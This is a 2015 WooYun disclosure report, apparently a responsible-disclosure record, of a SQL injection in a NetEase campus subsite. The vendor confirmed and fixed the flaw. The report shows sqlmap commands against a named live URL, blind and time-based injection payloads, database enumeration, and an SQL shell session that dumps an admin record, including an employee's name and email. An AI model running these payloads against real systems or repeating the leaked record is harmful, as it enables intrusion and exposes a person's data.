当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157479

漏洞标题:网易子站点SQL注入漏洞

相关厂商:网易

漏洞作者: 路人甲

提交时间:2015-12-01 23:20

修复时间:2016-01-17 14:54

公开时间:2016-01-17 14:54

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-01: 细节已通知厂商并且等待厂商处理中
2015-12-03: 厂商已经确认,细节仅向厂商公开
2015-12-13: 细节向核心白帽子及相关领域专家公开
2015-12-23: 细节向普通白帽子公开
2016-01-02: 细节向实习白帽子公开
2016-01-17: 细节向公众公开

简要描述:

网易某站点 SQL 注入漏洞

详细说明:

http://op.campus.163.com/adm/selectcate.do?flags=1,2
上面链接存在 SQL 注入漏洞可以获取数据库数据

$ ./sqlmap.py -u "http://op.campus.163.com/adm/selectcate.do?flags=1,2" --dbs
……
[*] starting at 23:04:20
[23:04:20] [INFO] resuming back-end DBMS 'mysql'
[23:04:20] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: flags (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: flags=1,2) AND 1129=1129 AND (6317=6317
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: flags=1,2) AND SLEEP(5) AND (3809=3809
---
[23:04:20] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[23:04:20] [INFO] fetching database names
[23:04:20] [INFO] fetching number of databases
[23:04:20] [INFO] resumed: 2
[23:04:20] [INFO] resumed: information_schema
[23:04:20] [INFO] resumed: recruit
available databases [2]:
[*] information_schema
[*] recruit


$ ./sqlmap.py -u "http://op.campus.163.com/adm/selectcate.do?flags=1,2" --sql-shell 
……
[*] starting at 23:07:02
[23:07:02] [INFO] resuming back-end DBMS 'mysql'
[23:07:02] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: flags (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: flags=1,2) AND 1129=1129 AND (6317=6317
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: flags=1,2) AND SLEEP(5) AND (3809=3809
---
[23:07:02] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[23:07:02] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select * from adminer limit 1;
[23:07:05] [INFO] fetching SQL SELECT statement query output: 'select * from adminer limit 1'
[23:07:05] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself
[23:07:05] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns
[23:07:05] [INFO] fetching current database
[23:07:05] [INFO] resumed: recruit
[23:07:05] [INFO] fetching columns for table 'adminer' in database 'recruit'
[23:07:05] [INFO] resumed: 9
[23:07:05] [INFO] resumed: username
[23:07:05] [INFO] resumed: gonghao
[23:07:05] [INFO] resumed: cnname
[23:07:05] [INFO] resumed: email
[23:07:05] [INFO] resumed: permitgroup
[23:07:05] [INFO] resumed: createtime
[23:07:05] [INFO] resumed: lasttime
[23:07:05] [INFO] resumed: lastip
[23:07:05] [INFO] resumed: status
……
[23:07:05] [INFO] resumed: 唐璜
[23:07:05] [INFO] resumed: 2011-06-29 10:50:41
[23:07:05] [INFO] resumed: tanghtang@corp.netease.com
[23:07:05] [INFO] resumed: 8705
[23:07:05] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:07:05] [INFO] retrieved:
[23:07:07] [INFO] resumed: 2011-06-29 10:50:41
[23:07:07] [INFO] resumed: 1
[23:07:07] [INFO] resumed: 3
[23:07:07] [INFO] resumed: 10911
select * from adminer limit 1;: '唐璜, 2011-06-29 10:50:41, tanghtang@corp.netease.com, 8705, , 2011-06-29 10:50:41, 1, 3, 10911'
sql-shell>

漏洞证明:

http://op.campus.163.com/adm/selectcate.do?flags=1,2
上面链接存在 SQL 注入漏洞可以获取数据库数据

$ ./sqlmap.py -u "http://op.campus.163.com/adm/selectcate.do?flags=1,2" --dbs
……
[*] starting at 23:04:20
[23:04:20] [INFO] resuming back-end DBMS 'mysql'
[23:04:20] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: flags (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: flags=1,2) AND 1129=1129 AND (6317=6317
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: flags=1,2) AND SLEEP(5) AND (3809=3809
---
[23:04:20] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[23:04:20] [INFO] fetching database names
[23:04:20] [INFO] fetching number of databases
[23:04:20] [INFO] resumed: 2
[23:04:20] [INFO] resumed: information_schema
[23:04:20] [INFO] resumed: recruit
available databases [2]:
[*] information_schema
[*] recruit


$ ./sqlmap.py -u "http://op.campus.163.com/adm/selectcate.do?flags=1,2" --sql-shell 
……
[*] starting at 23:07:02
[23:07:02] [INFO] resuming back-end DBMS 'mysql'
[23:07:02] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: flags (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: flags=1,2) AND 1129=1129 AND (6317=6317
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: flags=1,2) AND SLEEP(5) AND (3809=3809
---
[23:07:02] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[23:07:02] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select * from adminer limit 1;
[23:07:05] [INFO] fetching SQL SELECT statement query output: 'select * from adminer limit 1'
[23:07:05] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself
[23:07:05] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns
[23:07:05] [INFO] fetching current database
[23:07:05] [INFO] resumed: recruit
[23:07:05] [INFO] fetching columns for table 'adminer' in database 'recruit'
[23:07:05] [INFO] resumed: 9
[23:07:05] [INFO] resumed: username
[23:07:05] [INFO] resumed: gonghao
[23:07:05] [INFO] resumed: cnname
[23:07:05] [INFO] resumed: email
[23:07:05] [INFO] resumed: permitgroup
[23:07:05] [INFO] resumed: createtime
[23:07:05] [INFO] resumed: lasttime
[23:07:05] [INFO] resumed: lastip
[23:07:05] [INFO] resumed: status
……
[23:07:05] [INFO] resumed: 唐璜
[23:07:05] [INFO] resumed: 2011-06-29 10:50:41
[23:07:05] [INFO] resumed: tanghtang@corp.netease.com
[23:07:05] [INFO] resumed: 8705
[23:07:05] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:07:05] [INFO] retrieved:
[23:07:07] [INFO] resumed: 2011-06-29 10:50:41
[23:07:07] [INFO] resumed: 1
[23:07:07] [INFO] resumed: 3
[23:07:07] [INFO] resumed: 10911
select * from adminer limit 1;: '唐璜, 2011-06-29 10:50:41, tanghtang@corp.netease.com, 8705, , 2011-06-29 10:50:41, 1, 3, 10911'
sql-shell>

修复方案:

1. 对 flags 进行过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-12-03 14:53

厂商回复:

漏洞已修复,感谢您对网易产品的关注。

最新状态:

暂无


漏洞评价:

评价

  1. 2015-12-02 08:46 | 心云 ( 普通白帽子 | Rank:184 漏洞数:57 | Rank:200 漏洞数:55 | Rank:300 漏洞数:70 ...)

    666